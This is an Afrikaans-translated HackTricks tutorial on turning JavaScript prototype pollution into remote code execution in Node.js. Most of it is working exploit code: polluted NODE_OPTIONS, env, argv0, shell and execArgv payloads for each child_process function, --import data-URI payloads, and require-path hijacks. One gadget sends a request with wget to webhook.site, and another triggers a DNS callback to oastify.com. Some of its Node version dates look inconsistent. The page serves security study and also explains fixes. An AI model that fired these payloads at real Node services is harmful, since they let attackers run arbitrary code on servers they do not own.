Prototype Pollution to RCE

Reading time: 22 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Kwetsbare Kode

Stel jou voor 'n werklike JS wat 'n kode soos die volgende gebruik:

javascript
const { execSync, fork } = require("child_process")

function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}

function clone(target) {
return merge({}, target)
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT)

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")

PP2RCE via env vars

PP2RCE beteken Prototype Pollution to RCE (Remote Code Execution).

Volgens hierdie skrywe wanneer 'n proses geopen word met 'n metode van child_process (soos fork of spawn of ander) roep dit die metode normalizeSpawnArguments aan wat 'n prototype pollution gadget is om nuwe env vars te skep:

javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

Kontroleer daardie kode, jy kan sien dit is moontlik om envPairs te vergiftig net deur die attribut .env te besoedel.

Vergiftiging van __proto__

warning

Let daarop dat, as gevolg van hoe die normalizeSpawnArguments funksie van die child_process biblioteek van node werk, wanneer iets aangeroep word om 'n nuwe omgewing veranderlike vir die proses in te stel, jy net iets moet besoedel.
Byvoorbeeld, as jy __proto__.avar="valuevar" doen, sal die proses met 'n veranderlike genaamd avar met die waarde valuevar geskep word.

egter, om te verseker dat die omgewing veranderlike die eerste een is, moet jy die .env attribuut besoedel en (slegs in sommige metodes) sal daardie veranderlike die eerste een wees (wat die aanval toelaat).

Dit is waarom NODE_OPTIONS nie binne .env in die volgende aanval is.

javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

Besmetting van constructor.prototype

javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

PP2RCE via env vars + cmdline

'n Vergelykbare payload met die vorige een met 'n paar veranderinge is voorgestel in hierdie skrywe. Die hoof verskille is:

  • In plaas daarvan om die nodejs payload binne die lĂȘer /proc/self/environ te stoor, stoor dit dit binne argv0 van /proc/self/cmdline.
  • Dan, in plaas daarvan om via NODE_OPTIONS die lĂȘer /proc/self/environ te vereis, vereis dit /proc/self/cmdline.
javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

Filesystem-less PP2RCE via --import (Node ≄ 19)

note

Sedert Node.js 19 kan die CLI-vlag --import deur NODE_OPTIONS oorgedra word op dieselfde manier as wat --require kan. In teenstelling met --require, verstaan --import data-URIs sodat die aanvaller glad nie skryfreĂ«ls toegang tot die lĂȘerstelsel nodig het nie. Dit maak die gadget baie meer betroubaar in geslote of slegs lees omgewings.

Hierdie tegniek is eerste keer publiek gedokumenteer deur PortSwigger navorsing in Mei 2023 en is sedertdien in verskeie CTF-uitdagings herproduseer.

Die aanval is konseptueel identies aan die --require /proc/self/* truuks hierbo, maar in plaas daarvan om na 'n lĂȘer te verwys, inkorporeer ons die payload direk in 'n base64-gecodeerde data: URL:

javascript
const { fork } = require("child_process")

// Manual pollution
b = {}

// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;

b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) – same as earlier examples
fork("./a_file.js");

Misbruik van die kwesbare merge/clone sink wat bo aan die bladsy getoon word:

javascript
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);

// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import

Hoekom --import help

  1. Geen skyf interaksie – die payload beweeg heeltemal binne die proses opdraglyn en omgewing.
  2. Werk met ESM-slegs omgewings – --import is die kanonieke manier om JavaScript in moderne Node weergawe te prelaai wat standaard op ECMAScript Modules is.
  3. Omseil sommige --require toelaat-lists – 'n paar verhardingsbiblioteke filter net --require, wat --import onaangeraak laat.

warning

--import ondersteuning in NODE_OPTIONS is steeds teenwoordig in die nuutste Node 22.2.0 (Junie 2025). Die Node-kernspan bespreek die beperking van data-URI's in die toekoms, maar geen versagting is beskikbaar ten tyde van skryf nie.


DNS Interaksie

Deur die volgende payloads te gebruik, is dit moontlik om die NODE_OPTIONS omgewing veranderlike wat ons voorheen bespreek het, te misbruik en te bepaal of dit gewerk het met 'n DNS interaksie:

json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}

Of, om WAF's te vermy om vir die domein te vra:

json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE kwesbaarheid kind_proses funksies

In hierdie afdeling gaan ons elke funksie van kind_proses analiseer om kode uit te voer en te kyk of ons enige tegniek kan gebruik om daardie funksie te dwing om kode uit te voer:

exec uitbuiting
javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec("something")

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec("something")
execFile uitbuiting
javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")

// stdin trick - not working
// Not using stdin

// Windows - not working

Vir execFile om te werk, moet dit node uitvoer vir die NODE_OPTIONS om te werk.
As dit nie node uitvoer nie, moet jy uitvind hoe jy die uitvoering van wat ook al uitgevoer word met omgewing veranderlikes kan verander en dit stel.

Die ander tegnieke werk sonder hierdie vereiste omdat dit moontlik is om wat uitgevoer word via prototype besoedeling te verander. (In hierdie geval, selfs al kan jy .shell besoedel, sal jy nie besoedel wat uitgevoer word nie).

fork uitbuiting
javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
p = {}
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork("something")

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork("./a_file.js")

// Windows
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork("./a_file.js")
spawn uitbuiting
javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync uitbuiting
javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execFileSync-stdin}\n"
var proc = execFileSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
execSync uitbuiting
javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
spawnSync uitbuiting
javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/spawnSync-stdin}\n"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

Dwing Spawn

In die vorige voorbeelde het jy gesien hoe om die gadget te aktiveer 'n funksionaliteit wat spawn moet aanwezig wees (alle metodes van child_process wat gebruik word om iets uit te voer, roep dit aan). In die vorige voorbeeld was dit deel van die kode, maar wat as die kode nie dit aanroep nie.

Beheer oor 'n vereiste lĂȘer pad

In hierdie ander skrywe kan die gebruiker die lĂȘer pad beheer waar 'n require uitgevoer sal word. In daardie scenario hoef die aanvaller net 'n .js lĂȘer binne die stelsel te vind wat 'n spawn metode sal uitvoer wanneer dit ingevoer word.
Sommige voorbeelde van algemene lĂȘers wat 'n spawn funksie aanroep wanneer ingevoer, is:

  • /path/to/npm/scripts/changelog.js
  • /opt/yarn-v1.22.19/preinstall.js
  • Vind meer lĂȘers hieronder

Die volgende eenvoudige skrip sal soek na aanroepe van child_process sonder enige padding (om te verhoed dat aanroepe binne funksies gewys word):

bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Interessante lĂȘers gevind deur vorige skrip
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
  • node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
  • node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();
  • node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

Stel vereiste lĂȘer pad in via prototipe besoedeling

warning

Die vorige tegniek vereis dat die gebruiker die pad van die lĂȘer wat gaan vereis word, beheer. Maar dit is nie altyd waar nie.

As die kode egter 'n vereiste gaan uitvoer na die prototipe besoedeling, selfs al beheer jy nie die pad wat gaan vereis word nie, kan jy 'n ander een afdwing deur prototipe besoedeling te misbruik. So selfs al is die kode lyn soos require("./a_file.js") of require("bytes"), sal dit die pakket vereis wat jy besoedel het.

Daarom, as 'n vereiste uitgevoer word na jou prototipe besoedeling en geen spawn funksie nie, is dit die aanval:

  • Vind 'n .js lĂȘer binne die stelsel wat wanneer vereis sal iets uitvoer met child_process
  • As jy lĂȘers na die platform wat jy aanval kan oplaai, kan jy 'n lĂȘer soos dit oplaai
  • Besoedel die pades om die vereiste laai van die .js lĂȘer wat iets met child_process sal uitvoer, af te dwing
  • Besoedel die omgewing/cmdline om arbitrĂȘre kode uit te voer wanneer 'n child_process uitvoeringsfunksie genoem word (sien die aanvanklike tegnieke)

Absolute vereiste

As die uitgevoerde vereiste absoluut is (require("bytes")) en die pakket bevat nie 'n hoof in die package.json lĂȘer nie, kan jy die main attribuut besoedel en die vereiste 'n ander lĂȘer laat uitvoer.

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Relatiewe vereiste - 1

As 'n relatiewe pad gelaai word in plaas van 'n absolute pad, kan jy node 'n ander pad laat laai:

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Relatiewe vereiste - 2

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Relatiewe vereiste - 3

Soortgelyk aan die vorige een, is dit gevind in hierdie skrywe.

javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}

require("./usage.js")

VM Gadgets

In die papier https://arxiv.org/pdf/2207.11171.pdf word ook aangedui dat die beheer van contextExtensions van sommige metodes van die vm biblioteek as 'n gadget gebruik kan word.
Echter, soos die vorige child_process metodes, is dit in die nuutste weergawes reggestel.

Fixes & Unexpected protections

Let asseblief daarop dat prototipe besoedeling werk as die attribuut van 'n objek wat toeganklik is onbepaald is. As in die kode daardie attribuut 'n waarde gestel is, sal jy nie in staat wees om dit te oorskry nie.

In Junie 2022 van hierdie verbintenis is die var options in plaas van 'n {} 'n kEmptyObject. Dit verhoed dat 'n prototipe besoedeling die attribuut van options beĂŻnvloed om RCE te verkry.
Ten minste vanaf v18.4.0 is hierdie beskerming geĂŻmplementeer, en daarom werk die spawn en spawnSync eksploite wat die metodes beĂŻnvloed nie meer nie (as daar geen options gebruik word nie!).

In hierdie verbintenis is die prototipe besoedeling van contextExtensions van die vm biblioteek ook soort van reggestel deur opsies in te stel na kEmptyObject in plaas van {}.

info

Node 20 (April 2023) & Node 22 (April 2025) het verdere versterking gebring: verskeie child_process helpers kopieer nou gebruiker-gelewerde options met CopyOptions() in plaas van om dit deur verwysing te gebruik. Dit blokkeer besoedeling van geneste objek soos stdio, maar beskerm nie teen die NODE_OPTIONS / --import truuks wat hierbo beskryf is nie – daardie vlae word steeds aanvaar via omgewing veranderlikes. 'n Volledige regstelling sou moet beperk watter CLI vlae van die ouer proses gepropageer kan word, wat in Node Issue #50559 gevolg word.

Other Gadgets

References

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks